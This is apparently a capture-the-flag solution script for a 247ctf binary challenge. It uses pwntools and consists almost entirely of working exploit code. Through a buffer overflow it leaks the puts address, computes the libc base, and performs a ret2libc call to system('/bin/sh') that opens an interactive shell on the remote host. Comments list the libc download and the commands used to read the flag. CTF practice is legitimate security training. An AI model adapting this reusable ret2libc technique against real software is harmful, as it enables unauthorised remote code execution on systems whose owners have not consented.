There are no hidden flag functions in this binary. Can you make your own without executing from the stack?
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template ./executable_stack --host 1a892a34ee15e655.247ctf.com --port 50431
from pwn import *
# Set up pwntools for the correct architecture
exe = context.binary = ELF('./non_executable_stack')
rop = ROP(exe)
#libc = ELF('libc.so.6')
# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141
# tcp://fd16264e0ec19783.247ctf.com:50484
host = args.HOST or '4c05abe36efc569e.247ctf.com'
port = int(args.PORT or 50034)
def local(argv=[], *a, **kw):
'''Execute the target binary locally'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw):
'''Connect to the process on the remote host'''
io = connect(host, port)
if args.GDB:
gdb.attach(io, gdbscript=gdbscript)
return io
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.LOCAL:
return local(argv, *a, **kw)
else:
return remote(argv, *a, **kw)
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak main
continue
break *0x8048410
'''.format(**locals())
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# https://medium.com/hackstreetboys/encryptctf-2019-pwn-write-up-4-of-5-6fc5779d51fa
io = start()
# password - it was not important
# admin 123
# Buffer for EIP via msf-pattern
buff = 'A' * 44
# STAGE 1 leak puts
# Payload 1 creation
log.info('Payload format: [44 bytes buffer] + [puts() addr] + [main() addr] + [puts@got]')
payload = buff
payload += p32(exe.plt['puts'])
payload += p32(exe.symbols['main'])
payload += p32(exe.got['puts'])
print (io.recvline())
log.info('Sending stage 1 payload.')
io.sendline(payload)
print (io.recvline())
puts_leak = u32(io.recvline()[:4])
log.info('Puts leak: {}'.format(hex(puts_leak)))
# https://libc.blukat.me/?q=puts%3A0xf7e1a360
# Query: puts leak + memory address
# We know now which libc is used, if not exact leak another function
# libc6-i386_2.27-3ubuntu1_amd64
# Download it:
# wget https://libc.blukat.me/d/libc6-i386_2.27-3ubuntu1_amd64.so
# STAGE 2
# Now we can define libc:
libc = ELF('./libc6-i386_2.27-3ubuntu1_amd64.so')
puts_offset = libc.symbols['puts']
system_offset = libc.symbols['system']
exit_offset = libc.symbols['exit']
binsh_offset = next(libc.search('/bin/sh\x00'))
libc_base = puts_leak - puts_offset
system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset
exit_addr = libc_base + exit_offset
log.info('Formula to compute the addresses we need:')
log.info('libc_base = puts_leak - puts_offset')
log.info('system_address = libc_base + system_offset')
log.info('bin_sh_address = libc_base + bin_sh_offset')
log.info('libc base: {}'.format(hex(libc_base)))
log.info('system() addr: {}'.format(hex(system_addr)))
log.info('/bin/sh addr: {}'.format(hex(binsh_addr)))
# [*] libc base: 0xf7dcb000
# [*] system() addr: 0xf7e07d10
# [*] /bin/sh addr: 0xf7f468cf
# Buffer is the same here, but it could be different, run the exploit on
# local file crash it again with pattern and check where it crashed
# with "gdb -q ./non_executable_stack core"
# Then recalculate the offset if needed
log.info('Payload format: [44 bytes buffer] + [system() addr] + [4 bytes garbage] + [/bin/sh addr]')
payload = buff
payload += p32(system_addr)
payload += p32(exit_addr)
payload += p32(binsh_addr)
log.info('Sending stage 2 payload.')
io.sendline(payload)
log.info('Enjoy your shell! :)')
io.interactive()
# ls
# cat flag_86283925153a4054.txt